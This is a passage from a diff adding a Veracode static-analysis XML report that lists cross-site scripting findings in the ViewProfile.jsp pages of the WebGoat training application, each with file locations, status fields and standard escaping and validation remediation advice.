+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
